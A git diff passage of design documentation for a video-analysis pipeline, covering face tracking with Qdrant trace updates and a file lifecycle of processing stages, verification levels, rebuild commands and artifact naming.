overwritten in Stage 2. + +--- + +## Stage 2: Face Tracking + +**Scripts**: `scripts/store_traced_faces.py` → `scripts/utils/face_tracker.py` + +### Trigger + +`job_worker.rs` P2 trigger (line ~1877): after face + asrx processors complete. + +```rust +tokio::spawn(async move { + executor.run("store_traced_faces.py", &["--file-uuid", &uuid], ...) +}); +``` + +Skip if `{uuid}.face_traced.json` already exists. + +### Flow + +1. `store_traced_faces.py` reads `{uuid}.face.json` +2. Converts face.json from list to dict format (frame_num_str → {frame_number, time_seconds, faces}) +3. Loads cut boundaries from `{uuid}.cut.json` (if exists) +4. Calls `face_tracker.track_faces(face_data, use_embedding=False, cut_boundaries=...)` +5. Writes `{uuid}.face_traced.json` +6. Calls `update_trace_ids(file_uuid, trace_mapping)` to update Qdrant + +### `face_tracker.py:track_faces()` + +**Algorithm** (IoU-only, no embedding): + +``` +For each frame (sorted): + For each face in current frame: + Match against previous frame faces: + - Calculate IoU + - Calculate bbox center distance + - Reject if area ratio > 5x (different zoom level) + - Reject if at-edge → not-at-edge transition (person exited) + If match found → same trace_id as matched face + If no match → new trace_id (next_trace_id++) + Scene cut boundary between frames → force all new traces +``` + +**Matching conditions** (IoU-only mode): +- IoU > 0.5 AND IoU > 0.35 + distance < 100px → match +- IoU > 0.5 + similarity > 0.65 → match (similarity not used but condition exists) +- similarity > 0.85 → match (not used in IoU-only mode) +- Scene cut boundary → all new traces + +### Output Format: `{uuid}.face_traced.json` + +Same structure as face.json, but: +- Format converted to **dict** (`frames[str(frame_num)]` → face data) +- Each face gains `trace_id` field (integer) +- Top-level `traces` dict with per-trace statistics +- `metadata.tracking_method = "iou_only"` +- `metadata.traced_at = ISO timestamp` + +```json +{ + "metadata": { + "fps": 29.97, + "total_frames": 43977, + "tracking_method": "iou_only", + "trace_stats": { + "total_traces": 107, + "active_traces": 107, + "long_traces": 95 + } + }, + "frames": { + "743": { + "frame_number": 743, + "faces": [ + { "x": 892, "y": 313, "width": 78, "height": 78, "trace_id": 0, ... } + ] + } + }, + "traces": { + "0": { + "trace_id": 0, + "start_frame": 743, + "end_frame": 783, + "duration_frames": 41, + "total_appearances": 11, + "avg_confidence": 0.72 + } + } +} +``` + +### Qdrant Trace Update + +`update_trace_ids()` in `qdrant_faces.py`: + +1. Scroll all Qdrant `_faces` points for `file_uuid` (with vector + payload) +2. For each point, build `bbox_key = f"{bbox.x}_{bbox.y}_{bbox.width}_{bbox.height}"` +3. Look up `trace_mapping[frame][bbox_key]` from face_traced.json +4. If match found → set `payload["trace_id"] = real_trace_id` +5. PUT updated points back to Qdrant + +**Matching key**: `frame` + `bbox_key` (pixel integer string) + +--- + +## Stage 3: Trace Profile + +**Script**: `scripts/backfill_trace_profiles.py` + +### Data Source + +Qdrant `_faces` collection (source of truth for trace_id assignments). + +### Flow + +1. Scroll all `_faces` points for each `file_uuid` with `trace_id >= 0` +2. Group by `(file_uuid, trace_id)` +3. For each group: + - `frame_count` = count of points + - `start_frame` = min(frame) + - `end_frame` = max(frame) + - `representative_frame` = frame with max(confidence) + - `representative_bbox` = bbox at representative frame +4. Extract `key_frame.jpg` via ffmpeg at representative frame +5. Crop `key_face.jpg` from key_frame using representative bbox +6. Write `output/{uuid}/trace_{N}/trace_profile.json` + +### Output: `output/{uuid}/trace_{N}/trace_profile.json` + +```json +{ + "version": "1.0", + "file_uuid": "d8acb03870f0cc9b14e01f14a7bf24d6", + "trace_id": 37, + "label": "", + "frame_count": 38, + "start_frame": 1859, + "end_frame": 2100, + "avg_confidence": 0.754, + "key_frame": "key_frame.jpg", + "key_face": "key_face.jpg", + "status": "pending" +} +``` + +### File Layout + +``` +output/{uuid}/ + trace_0/ + trace_profile.json + key_frame.jpg + key_face.jpg + trace_1/ + trace_profile.json + key_frame.jpg + key_face.jpg + ... +``` + +--- + +## Stage 4: TKG Node Construction + +**File**: `src/core/processor/tkg.rs` + +Reads trace_id from Qdrant `_faces` payload to build knowledge graph nodes: +- `face_track` nodes: one per trace +- `gaze_track`, `lip_track`: linked to face_track via frame alignment +- `co_occurrence` edges: traces that appear in same frame + +--- + +## Qdrant `_faces` Collection Schema + +| Field | Type | Description | +|-------|------|-------------| +| `file_uuid` | string | Video file identifier | +| `frame` | int | Video frame number (absolute, not sampled) | +| `trace_id` | int | Face tracking ID (set by Stage 2) | +| `bbox` | `{x, y, width, height}` | Pixel integer coordinates | +| `confidence` | float | Detection confidence | +| `identity_id` | int? | Identity binding (set by identity agent) | +| `identity_uuid` | string? | Identity UUID | +| `stranger_id` | int? | Stranger classification | + +**Point ID**: `generate_point_id(file_uuid, frame, face_idx)` — deterministic hash. + +--- + +## Known Issues + +### bfba056f5021e2404b0870cc0b1fa851 + +- **Qdrant**: trace_id = 0,1,2 (face_idx, never updated) +- **face_traced.json**: trace_id = 0-8209 (8210 traces, iou_only) +- **Root cause**: `face_processor.py` re-ran after `store_traced_faces.py`, pushing fresh embeddings with `trace_id=face_idx`, overwriting the updated trace_ids +- **Other 12 files**: all correct + +### `update_trace_ids` bbox matching + +Matching is by exact `frame` + `bbox_key` string (`x_y_width_height`). Since bbox is pixel integer from the same source, values are identical across face_traced.json and Qdrant. Mismatch only occurs when face_processor.py re-runs and generates different detection results. + +--- + +## File Inventory (2026-07-22) + +| file_uuid | traces (Qdrant) | traces (face_traced) | status | +|-----------|-----------------|----------------------|--------| +| 30affad3... | 52 | 53 | ✅ | +| 31a6b821... | 31 | 36 | ⚠️ minor mismatch | +| 352cf73a... | 16 | 25 | ⚠️ minor mismatch | +| 57bd7e43... | 3 | 4 | ✅ | +| 5e5f3de8... | 21 | 22 | ✅ | +| 84d838f2... | 88 | 89 | ✅ | +| 88e72467... | 18 | 19 | ✅ | +| 9cbeb112... | 9 | 17 | ⚠️ minor mismatch | +| bfba056f... | 15 | 8210 | ❌ face_idx not updated | +| c0a9dc37... | 77 | 78 | ✅ | +| c36f3568... | 5601 | 5616 | ⚠️ minor mismatch | +| d8acb038... | 106 | 107 | ✅ | +| fbd82072... | 12 | 13 | ✅ | + +--- + +## Version History + +| Version | Date | Changes | +|---------|------|---------| +| 1.0 | 2026-07-22 | Initial document: face detection → tracking → Qdrant → TKG pipeline structure | diff --git a/docs_v1.0/DESIGN/FILE_LIFECYCLE_V1.0.md b/docs_v1.0/DESIGN/FILE_LIFECYCLE_V1.0.md index f92c14a..4313b77 100644 --- a/docs_v1.0/DESIGN/FILE_LIFECYCLE_V1.0.md +++ b/docs_v1.0/DESIGN/FILE_LIFECYCLE_V1.0.md @@ -1,198 +1,513 @@ --- -document_type: "design_doc" -service: "MOMENTRY_CORE" -title: "File Lifecycle — Pre-Processing & Registration" -version: "V1.2" -date: "2026-05-15" -author: "M5" -status: "draft" +title: File Lifecycle Architecture +version: 1.0 +date: 2026-07-22 +author: OpenCode +status: Active +scope: File processing pipeline — stages, verification, rebuild --- -# File Lifecycle — Pre-Processing & Registration +# File Lifecycle Architecture V1.0 -| Item | Value | -|------|-------| -| Scope | All managed file types (video, image, document, spreadsheet, presentation) | -| Status | Draft | -| Applies to | Pre-process API (explicit) + Register API | -| Key concept | Two-phase flow: birth certificate (`.pre.json`) → civil registration (DB INSERT) | +| Field | Value | +|-------|-------| +| Scope | Complete file processing lifecycle | +| Status | Active | +| Applies to | Pipeline stages, progress tracking, verification, rebuild | +| Related | `FILE_PROFILE_V1.0.md`, `FACE_TRACKING_PIPELINE_V1.0.md` | -> **Applicable to all managed file types**: video, image, document (pdf, docx, pages, key, numbers), spreadsheet, presentation, and any other file registered in the system. The pre-processor registers any file type found by the watcher. ffprobe is used when applicable; files that ffprobe cannot parse receive minimal filesystem metadata as a fallback. +--- -## Metaphor +## 1. Overview + +Every registered video file passes through a deterministic pipeline of stages. +Each stage must produce a `.json` (or `.jpg`) artifact on disk. +This enables: +- **Verification**: Check pipeline completeness by inspecting artifact existence +- **Rebuild**: Re-run any stage from its input artifacts without re-running the entire pipeline +- **Progress tracking**: Two-layer display (high-level summary + expandable sub-stages) + +### Design Principles + +1. **Every stage has a `.json` output** — no silent DB-only writes +2. **Any stage can be rebuilt** from its input artifacts +3. **Frontend reads stages from API** — not hardcoded +4. **Verification is disk-first** — check `.json` exists, then validate content, then check DB/Qdrant consistency +5. **Processors are not modified** — this document defines tracking/verification/rebuild only + +--- + +## 2. Stage Architecture + +### 2.1 High-Level Stages (6) + +| # | Stage | Weight | Sub-Stages | Description | +|---|-------|--------|------------|-------------| +| S0 | Register | 5% | 4 | File metadata + audio track + key frame extraction | +| S1 | Processors | 40% | 8 | Individual processor execution | +| S2 | Post-Process | 20% | 4 | Face trace, Rule1, Vectorize, Identity Agent | +| S3 | TKG Build | 20% | 2 | Temporal Knowledge Graph nodes + edges | +| S4 | Rule2 | 10% | 1 | Relationship chunk ingestion | +| S5 | Complete | 5% | 1 | Final status update | + +### 2.2 Sub-Stages (15) ``` -SHA256 = DNA or fingerprint (immutable biometric identity) -file mtime = birth moment (preserved by rsync across systems) -birthday (file_uuid anchor) = mtime timestamp -.pre.json = birth certificate -POST /api/v1/files/register = civil registration -status = registered = citizenship completed +S0: Register (5%) +├─ 0a: probe → probe.json +├─ 0b: audio_track → DB: audio_track column (no disk artifact) +├─ 0c: profile → profile.json +└─ 0d: key_frame → key_frame.jpg + +S1: Processors (40%) +├─ 1a: cut → cut.json +├─ 1b: asr → asr.json +├─ 1c: asrx → asrx.json (depends: 1a + 1b) +├─ 1d: ocr → ocr.json +├─ 1e: face → face.json (+ Qdrant _faces initial) +├─ 1f: pose → pose.json (depends: 1e) +├─ 1g: appearance → appearance.json (depends: 1f) +└─ 1h: face_dedup → face_cluster.json (depends: 1e) [OPTIONAL + MANUAL] + +S2: Post-Process (20%) +├─ 2a: face_trace → face_traced.json (+ Qdrant trace_id update) +├─ 2b: rule1 → rule1.json (ASRX → sentence chunks) +├─ 2c: vectorize → vectorize.json (embeddings → PG + Qdrant) +└─ 2d: identity_agent → identity_agent.json (optional) + +S3: TKG Build (20%) +├─ 3a: tkg_nodes → tkg_nodes.json +└─ 3b: tkg_edges → tkg_edges.json + +S4: Rule2 (10%) +└─ 4a: rule2 → rule2.json (relationship chunks) + +S5: Complete (5%) +└─ 5a: complete → status = "completed" ``` -## Two-Phase Flow - -A file enters the system in two distinct phases: - -| Phase | Action | Analogy | Automatic? | Status | -|-------|--------|---------|:----------:|:------:| -| **Birth** | Pre-process: SHA256 + probe + file_uuid | 出生 + 醫院開出生證明 | ✅ Watcher | `unregistered` | -| **Citizenship** | Register: INSERT into DB | 戶政事務所登記 | ❌ User API | `registered` | - -## Phase 1: Pre-Processing (Birth) - -### Trigger - -Pre-processing is triggered explicitly via the register API or a dedicated pre-process endpoint. It is NOT automatic — the watcher only detects new files without modifying them. - -### Computation Steps +### 2.3 Dependency Graph ``` -1. fs::metadata(path).modified() - → birthday = file modification time (mtime, RFC 3339; preserved by rsync -a across systems) - -2. SHA256(full file, streaming 64KB chunks) - → content_hash = 512-bit hex string (file DNA / fingerprint) - -3. ffprobe (or minimal fs metadata fallback for non-video) - → probe_json - -4. compute_birth_uuid(mac, birthday, canonical_path, filename) - → file_uuid = SHA256(mac | birthday | path | filename)[0:32] - -5. Write {OUTPUT_DIR}/{file_uuid}.pre.json +S0 (Register) + └─→ S1 (Processors) + ├─ 1a (CUT) ─────┐ + ├─ 1b (ASR) ─────┤ + │ └─→ 1c (ASRX) ──→ 2b (Rule1) + ├─ 1d (OCR) ──────────────────────→ 3a (TKG Nodes) + ├─ 1e (Face) ──┬─→ 1f (Pose) ──→ 1g (Appearance) ──→ 3a + │ ├─→ 1h (FaceDedup) [manual] + │ └─→ 2a (Face Trace) ──→ 3a + └─────────────────────────────────────→ 3a + │ + S2: 2c (Vectorize) ←── DB chunks │ + S2: 2d (IdentityAgent) ←── face_clusters │ + ↓ + 3b (TKG Edges) + │ + ↓ + 4a (Rule2) + │ + ↓ + 5a (Complete) ``` -### Output: `.pre.json` Schema +--- -Stored alongside other processor outputs: +## 3. I/O Specification + +### 3.1 Register (S0) + +| Sub-Stage | Input | Output Artifact | DB Tables | Qdrant | +|-----------|-------|----------------|-----------|--------| +| 0a: probe | video file on disk | `{uuid}.probe.json` | — | — | +| 0b: audio_track | probe.json, video file | DB column only | videos.audio_track | — | +| 0c: profile | probe.json | `{uuid}.profile.json` | videos (INSERT/UPDATE) | — | +| 0d: key_frame | probe.json | `{uuid}.key_frame.jpg` | — | — | + +**Audio Track Classification** (S0b): + +| Classification | Condition | ASR Behavior | +|----------------|-----------|--------------| +| `no_audio` | No audio track in video | Skip ASR, output `{"status": "no_audio"}` | +| `silent_audio` | Audio track exists but no speech detected | Skip ASR, output `{"status": "silent_audio"}` | +| `music_only` | Audio with no speech (music/sound effects) | Skip ASR, output `{"status": "music_only"}` | +| `speech_only` | Audio with speech only (≥30% speech ratio) | Run ASR normally | +| `speech_with_music` | Speech with background music (<30% speech ratio) | Run ASR normally | + +### 3.2 Processors (S1) + +| Sub-Stage | Input Artifacts | Output Artifact | DB Tables | Qdrant | +|-----------|----------------|----------------|-----------|--------| +| 1a: cut | probe.json | `{uuid}.cut.json` + `{uuid}_scene_{n}.jpg` | processor_results | — | +| 1b: asr | video file | `{uuid}.asr.json` | processor_results | — | +| 1c: asrx | cut.json, asr.json | `{uuid}.asrx.json` | speaker_detections | — | +| 1d: ocr | video file | `{uuid}.ocr.json` | processor_results | — | +| 1e: face | video file | `{uuid}.face.json` | processor_results | `_faces` (initial push) | +| 1f: pose | face.json, video file | `{uuid}.pose.json` | processor_results | — | +| 1g: appearance | pose.json, video file | `{uuid}.appearance.json` | processor_results | — | +| 1h: face_dedup | face.json | `{uuid}.face_cluster.json` | face_clusters | — | + +**Note**: 1h (Face Deduplication) is currently `optional + manual`. It will be integrated into the automated pipeline after testing is complete. + +**Scene Key Frames** (1a post-process): + +After CUT completes, extracts the middle frame from each scene as `{uuid}_scene_{n}.jpg` for VLM analysis: + +| Output | Purpose | +|---------|---------| +| `{uuid}_scene_1.jpg` | Representative frame from scene 1 | +| `{uuid}_scene_2.jpg` | Representative frame from scene 2 | +| ... | ... | + +These key frames enable: +- VLM scene understanding (caption, objects, actions) +- Scene-level search and filtering +- Thumbnail generation for scene navigation + +### 3.3 Post-Process (S2) + +| Sub-Stage | Input Artifacts | Output Artifact | DB Tables | Qdrant | +|-----------|----------------|----------------|-----------|--------| +| 2a: face_trace | face.json | `{uuid}.face_traced.json` | — | `_faces` (trace_id update) | +| 2b: rule1 | asrx.json | `{uuid}.rule1.json` | chunk, pre_chunks | — | +| 2c: vectorize | chunk (DB) | `{uuid}.vectorize.json` | chunk_vectors | main collection | +| 2d: identity_agent | face_cluster.json | `{uuid}.identity_agent.json` | file_identities | — | + +### 3.4 TKG Build (S3) + +| Sub-Stage | Input Artifacts | Output Artifact | DB Tables | Qdrant | +|-----------|----------------|----------------|-----------|--------| +| 3a: tkg_nodes | All processor JSONs, trace profiles | `{uuid}.tkg_nodes.json` | tkg_nodes | — | +| 3b: tkg_edges | tkg_nodes.json, asrx.json | `{uuid}.tkg_edges.json` | tkg_edges | — | + +### 3.5 Rule2 (S4) + +| Sub-Stage | Input Artifacts | Output Artifact | DB Tables | Qdrant | +|-----------|----------------|----------------|-----------|--------| +| 4a: rule2 | tkg_edges.json, chunk (DB) | `{uuid}.rule2.json` | chunk (relationship type) | main collection | + +### 3.6 Complete (S5) + +| Sub-Stage | Input | Output | DB Tables | +|-----------|-------|--------|-----------| +| 5a: complete | All above stages verified | status = "completed" | videos.status | + +--- + +## 4. Verification + +### 4.1 Verification Levels + +Each sub-stage has three verification levels: + +| Level | Check | Description | +|-------|-------|-------------| +| L1: Artifact exists | `{uuid}.{stage}.json` on disk | Required for all stages | +| L2: Content valid | JSON parseable + non-empty array/object | Ensures output is usable | +| L3: DB/Qdrant consistent | Row count > 0 or point count > 0 | Ensures data was written | + +### 4.2 Verification Matrix + +| Sub-Stage | L1 (exists) | L2 (valid) | L3 (DB/Qdrant) | +|-----------|:-----------:|:----------:|:--------------:| +| 0a: probe | `.probe.json` | non-empty | — | +| 0b: profile | `.profile.json` | has file_uuid | videos row exists | +| 0c: key_frame | `.key_frame.jpg` | file size > 0 | — | +| 1a: cut | `.cut.json` | non-empty | processor_results > 0 | +| 1b: asr | `.asr.json` | non-empty | processor_results > 0 | +| 1c: asrx | `.asrx.json` | non-empty | speaker_detections > 0 | +| 1d: ocr | `.ocr.json` | non-empty | processor_results > 0 | +| 1e: face | `.face.json` | non-empty | Qdrant `_faces` > 0 | +| 1f: pose | `.pose.json` | non-empty | processor_results > 0 | +| 1g: appearance | `.appearance.json` | non-empty | processor_results > 0 | +| 1h: face_dedup | `.face_cluster.json` | non-empty | face_clusters > 0 | +| 2a: face_trace | `.face_traced.json` | non-empty | Qdrant `_faces` trace_id set | +| 2b: rule1 | `.rule1.json` | non-empty | chunk (sentence) > 0 | +| 2c: vectorize | `.vectorize.json` | non-empty | chunk_vectors > 0 | +| 2d: identity_agent | `.identity_agent.json` | non-empty | file_identities > 0 | +| 3a: tkg_nodes | `.tkg_nodes.json` | non-empty | tkg_nodes > 0 | +| 3b: tkg_edges | `.tkg_edges.json` | non-empty | tkg_edges > 0 | +| 4a: rule2 | `.rule2.json` | non-empty | chunk (relationship) > 0 | + +### 4.3 Status Values + +| Status | Meaning | +|--------|---------| +| `pending` | Not yet started | +| `running` | Currently executing | +| `completed` | L1 + L2 + L3 all pass | +| `failed` | L1 passes but L2 or L3 fails | +| `missing` | L1 fails (artifact not on disk) | +| `skipped` | Optional stage not run | + +--- + +## 5. Rebuild + +### 5.1 Rebuild Principle + +Any sub-stage can be rebuilt independently: +1. Read input artifacts (from disk or DB) +2. Re-run the stage logic (processor or post-processor) +3. Write output artifact + update DB/Qdrant + +### 5.2 Rebuild Dependency + +To rebuild stage N, all its dependency stages must be `completed`: + +| Stage | Required Dependencies | +|-------|----------------------| +| 0a-0c | video file on disk | +| 1a: cut | 0a (probe) | +| 1b: asr | video file | +| 1c: asrx | 1a (cut) + 1b (asr) | +| 1d: ocr | video file | +| 1e: face | video file | +| 1f: pose | 1e (face) | +| 1g: appearance | 1f (pose) | +| 1h: face_dedup | 1e (face) | +| 2a: face_trace | 1e (face) | +| 2b: rule1 | 1c (asrx) | +| 2c: vectorize | 2b (rule1) — chunks in DB | +| 2d: identity_agent | 1h (face_dedup) — optional | +| 3a: tkg_nodes | 1e (face), 2a (face_trace), 1c (asrx), 1d (ocr), 1g (appearance) | +| 3b: tkg_edges | 3a (tkg_nodes) + 1c (asrx) | +| 4a: rule2 | 3b (tkg_edges) + 2b (rule1) — chunks in DB | +| 5a: complete | All required stages completed | + +### 5.3 Rebuild API ``` -{OUTPUT_DIR}/ - {file_uuid}.probe.json ← ffprobe - {file_uuid}.face.json ← face detection - {file_uuid}.pre.json ← pre-processor (NEW) +POST /api/v1/file/:file_uuid/rebuild/:stage ``` +- Validates dependencies are met +- Re-runs the stage +- Returns updated verification status + +### 5.4 Rebuild via CLI + +```bash +# Check all stages +python3 scripts/lifecycle_check.py --file-uuid + +# Rebuild specific stage +python3 scripts/lifecycle_check.py --file-uuid --rebuild 1c + +# Rebuild from first missing stage +python3 scripts/lifecycle_check.py --file-uuid --rebuild auto +``` + +--- + +## 6. Frontend Display + +### 6.1 Two-Layer Architecture + +**Layer 1: High-Level Summary** (default view) + +``` +┌─────────────────────────────────────────────────────────┐ +│ ▶ S0: Register ████████████ 3/3 completed │ +│ ▶ S1: Processors ████████░░░░ 6/8 partial │ +│ ▶ S2: Post-Process ██░░░░░░░░░░ 1/4 running │ +│ ▶ S3: TKG Build ░░░░░░░░░░░░ 0/2 pending │ +│ ▶ S4: Rule2 ░░░░░░░░░░░░ 0/1 pending │ +│ ▶ S5: Complete ░░░░░░░░░░░░ 0/1 pending │ +└─────────────────────────────────────────────────────────┘ +``` + +**Layer 2: Expandable Sub-Stages** (click to expand) + +``` +┌─────────────────────────────────────────────────────────┐ +│ ▼ S1: Processors ████████░░░░ 6/8 partial │ +│ ├─ 1a: CUT ✅ completed │ +│ ├─ 1b: ASR ✅ completed │ +│ ├─ 1c: ASRX ✅ completed │ +│ ├─ 1d: OCR ✅ completed │ +│ ├─ 1e: Face ✅ completed │ +│ ├─ 1f: Pose ✅ completed │ +│ ├─ 1g: Appearance ❌ missing │ +│ └─ 1h: Face Dedup ⏭ skipped (manual) │ +└─────────────────────────────────────────────────────────┘ +``` + +### 6.2 Sub-Stage Display Names + +| Code Name | Display Name | +|-----------|-------------| +| probe | Probe (ffprobe) | +| profile | File Profile | +| key_frame | Key Frame | +| cut | Scene Detection (CUT) | +| asr | Speech Recognition (ASR) | +| asrx | Speaker Diarization (ASRX) | +| ocr | Text Recognition (OCR) | +| face | Face Detection | +| pose | Pose Estimation | +| appearance | Appearance Features | +| face_dedup | Face Deduplication | +| face_trace | Face Tracking | +| rule1 | Rule1 Ingestion | +| vectorize | Vector Embedding | +| identity_agent | Identity Agent | +| tkg_nodes | TKG Nodes | +| tkg_edges | TKG Edges | +| rule2 | Rule2 Ingestion | +| complete | Complete | + +### 6.3 API Contract + +The frontend fetches stage data from: + +``` +GET /api/v1/stats/pipeline/:file_uuid +``` + +Response: ```json { - "file_name": "charade.mp4", - "file_path": "/data/demo/charade.mp4", - "canonical_path": "/private/data/demo/charade.mp4", - "content_hash": "a1b2c3d4e5f6...", - "probe_json": { - "format": { "duration": "6879.3", "size": "2147483648" }, - "streams": [...] - }, - "birthday": "2026-05-15T02:15:00Z", - "file_uuid": "aeed71342a899fe4b4c57b7d41bcb692", - "file_size": 2147483648, - "file_type": "video | image | document | audio", - "pre_processed_at": "2026-05-15T02:15:05Z" + "file_uuid": "abc123", + "overall_progress": 0.45, + "stages": [ + { + "name": "register", + "weight": 0.05, + "progress": 1.0, + "status": "completed", + "detail": "3/3 sub-stages", + "sub_stages": [ + {"name": "probe", "status": "completed", "artifact": "probe.json"}, + {"name": "profile", "status": "completed", "artifact": "profile.json"}, + {"name": "key_frame", "status": "completed", "artifact": "key_frame.jpg"} + ] + }, + { + "name": "processors", + "weight": 0.40, + "progress": 0.75, + "status": "partial", + "detail": "6/8 sub-stages", + "sub_stages": [ + {"name": "cut", "status": "completed", "artifact": "cut.json"}, + {"name": "asr", "status": "completed", "artifact": "asr.json"}, + {"name": "asrx", "status": "completed", "artifact": "asrx.json"}, + {"name": "ocr", "status": "completed", "artifact": "ocr.json"}, + {"name": "face", "status": "completed", "artifact": "face.json"}, + {"name": "pose", "status": "completed", "artifact": "pose.json"}, + {"name": "appearance", "status": "missing", "artifact": "appearance.json"}, + {"name": "face_dedup", "status": "skipped", "artifact": "face_cluster.json"} + ] + } + ], + "updated_at": "2026-07-22T18:00:00Z" } ``` -### Key Design: file_uuid = f(mac, birthday, path, filename) +--- -The `birthday` is `file modification time` (mtime) — obtained from `fs::metadata().modified()`. Using mtime instead of birthtime ensures file_uuid stability when files are transferred between systems via rsync (which preserves mtime but not birthtime on macOS). +## 7. Weight Distribution + +### 7.1 High-Level Stage Weights + +| Stage | Weight | Rationale | +|-------|--------|-----------| +| S0: Register | 5% | Fast, prerequisite for everything | +| S1: Processors | 40% | Most time-consuming, GPU-bound | +| S2: Post-Process | 20% | Face trace + Rule1 + Vectorize | +| S3: TKG Build | 20% | Node + edge construction | +| S4: Rule2 | 10% | Relationship chunk creation | +| S5: Complete | 5% | Final status update | + +### 7.2 Processor Sub-Weights (within S1 = 40%) + +| Processor | Sub-Weight | Rationale | +|-----------|-----------|-----------| +| CUT | 5% | Scene detection, ~10s | +| ASR | 15% | whisper-small, ~2min/10min video | +| ASRX | 20% | Speaker diarization, ~3min | +| OCR | 10% | PaddleOCR, ~1min | +| Face | 15% | CoreML FaceNet, ~1min | +| Pose | 10% | mediapipe, ~1min | +| Appearance | 5% | Feature extraction, ~30s | +| Face Dedup | 0% | Manual (not in automated pipeline) | + +--- + +## 8. Artifact Naming Convention + +All artifacts live in the output directory (`MOMENTRY_OUTPUT_DIR`): ``` -birthday = 2026-05-15T02:15:00Z ← file birth time, never changes - ↓ -file_uuid = SHA256(mac | birthday | path | filename) - ↓ -Same file: same path + filename → same file_uuid, regardless of registration count -Different files: different content_hash → different file_uuid (even if same name) +{output_dir}/ +├─ {uuid}.probe.json # S0: ffprobe metadata +├─ {uuid}.profile.json # S0: FileProfile +├─ {uuid}.key_frame.jpg # S0: extracted key frame +├─ {uuid}.cut.json # S1: scene boundaries +├─ {uuid}.asr.json # S1: speech transcription +├─ {uuid}.asrx.json # S1: speaker diarization +├─ {uuid}.ocr.json # S1: text detections +├─ {uuid}.face.json # S1: face detections + embeddings +├─ {uuid}.face_cluster.json # S1: face clustering (optional) +├─ {uuid}.pose.json # S1: pose estimations +├─ {uuid}.appearance.json # S1: appearance features +├─ {uuid}.face_traced.json # S2: face tracking with trace_id +├─ {uuid}.rule1.json # S2: sentence chunks +├─ {uuid}.vectorize.json # S2: embedding stats +├─ {uuid}.identity_agent.json # S2: identity matching (optional) +├─ {uuid}.tkg_nodes.json # S3: TKG node dump +├─ {uuid}.tkg_edges.json # S3: TKG edge dump +├─ {uuid}.rule2.json # S4: relationship chunks +└─ {uuid}/ # Trace profiles directory + ├─ trace_0/ + │ ├─ trace_profile.json + │ ├─ key_frame.jpg + │ └─ key_face.jpg + ├─ trace_1/ + │ └─ ... + └─ trace_N/ ``` -## Phase 2: Registration (Citizenship) +--- -### POST /api/v1/files/register +## 9. Current State Audit (Gamma 8) -```bash -curl -X POST http://localhost:3002/api/v1/files/register \ - -H "X-API-Key: ..." \ - -H "Content-Type: application/json" \ - -d '{"file_path":"/data/demo/charade.mp4"}' -``` +File: `d3f9ae8e471a1fc4d47022c66091b920` (Gamma 8-Director Chih-Lin Yang) -### Flow +| Sub-Stage | Artifact | Status | +|-----------|----------|--------| +| 0a: probe | probe.json | ✅ exists | +| 0b: profile | profile.json | ❌ missing | +| 0c: key_frame | key_frame.jpg | ❌ missing | +| 1a: cut | cut.json | ✅ exists | +| 1b: asr | asr.json | ✅ exists | +| 1c: asrx | asrx.json | ✅ exists | +| 1d: ocr | ocr.json | ✅ exists | +| 1e: face | face.json | ✅ exists | +| 1f: pose | pose.json | ✅ exists | +| 1g: appearance | appearance.json | ❌ missing | +| 1h: face_dedup | face_cluster.json | ⏭ skipped (manual) | +| 2a: face_trace | face_traced.json | ✅ exists | +| 2b: rule1 | rule1.json | ❌ missing | +| 2c: vectorize | vectorize.json | ❌ missing | +| 2d: identity_agent | identity_agent.json | ❌ missing | +| 3a: tkg_nodes | tkg_nodes.json | ❌ missing | +| 3b: tkg_edges | tkg_edges.json | ❌ missing | +| 4a: rule2 | rule2.json | ❌ missing | -``` -1. Check {OUTPUT_DIR}/{file_uuid}.pre.json - ├─ Exists AND content_hash matches → use cached (skip SHA256 + probe) - └─ Not exists OR hash mismatch → compute fresh (existing logic) - -2. Dedup check: SELECT file_uuid FROM videos WHERE content_hash = $1 - ├─ Found → already_exists: true (identical DNA = same file) - └─ Not found → continue - -3. Name conflict check + auto-rename if needed - └─ charade.mp4 → charade (1).mp4 (same name, different content) - -4. INSERT INTO videos ( - file_uuid, file_path, file_name, file_type, - duration, width, height, fps, - probe_json, content_hash, status, registration_time - ) VALUES ( - $1, $2, $3, $4, $5, $6, $7, $8, $9, $10, - 'registered', NOW() ← status=registered, registration_time=NOW() - ) -``` - -## Data Separation - -| Field | Source | Computed When | Mutable | -|-------|--------|---------------|:------:| -| `birthday` | `fs::metadata().modified()` (mtime) | Pre-process (once) | ❌ Never (stable across rsync) | -| `content_hash` (SHA256) | Full file | Pre-process (once) | ❌ Never (unless file modified) | -| `file_uuid` | SHA256(mac\|birthday\|path\|filename) | Pre-process (once) | ❌ Never | -| `registration_time` | `NOW()` at register | Register API | ✅ Per registration | -| `status` | — | Register API | `unregistered` → `registered` | - -## File Lifecycle State Diagram - -``` -File detected by watcher (detection only, no modification) - │ - │ Pre-processing triggered explicitly (API or register) - ▼ -[Pre-Processor] - ├─ SHA256 (DNA / fingerprint) - ├─ ffprobe (metadata extraction) - └─ file_uuid (birth certificate ID) - │ - ▼ -{file_uuid}.pre.json - status = unregistered (no DB record) - │ - │ (user calls POST /api/v1/files/register) - ▼ -[Register Handler] - ├─ Read .pre.json → skip recomputation - ├─ Dedup check (content_hash collision?) - ├─ Name check + rename? - └─ INSERT INTO videos - │ - ▼ -status = registered -registration_time = NOW() -``` - -## Implementation Checklist - -| # | Task | File | -|---|------|------| -| 1 | Expose `pre_process_file()` as public function (SHA256 + probe + file_uuid → `.pre.json`) | `src/watcher/watcher.rs` | -| 2 | Register: read `.pre.json`, skip SHA256/probe if cached | `src/api/server.rs` → `register_single_file` | -| 3 | file_uuid: use `birthday` from `.pre.json` (or `fs::metadata().modified()` fallback) | `src/api/server.rs` | -| 4 | INSERT status: `registered`, registration_time: `NOW()` | `src/api/server.rs` | +**Observations**: +- S1 processors mostly complete, but Appearance missing (1g) +- S0 profile/key_frame missing (registration may not have created them) +- S2-S4 all have DB data but no flat `.json` dumps +--- ## Version History -| Version | Date | Changes | -|---------|------|---------| -| V1.0 | 2026-05-15 | Initial design — birth certificate (pre-process) + civil registration two-phase flow | -| V1.1 | 2026-05-15 | Reclassified from DESIGN to STANDARDS as design standard | -| V1.2 | 2026-05-15 | mtime replaces birthtime for file_uuid stability across rsync; watcher is detection-only | +| Version | Date | Author | Changes | +|---------|------|--------|---------| +| 1.2 | 2026-07-22 | OpenCode | Added CUT scene key frames extraction for VLM analysis | +| 1.1 | 2026-07-22 | OpenCode | Added S0b: audio_track classification (VAD) — 6 stages, 15 sub-stages | +| 1.0 | 2026-07-22 | OpenCode | Initial design — 6 stages, 14 sub-stages, I/O specs, verification, rebuild | diff --git 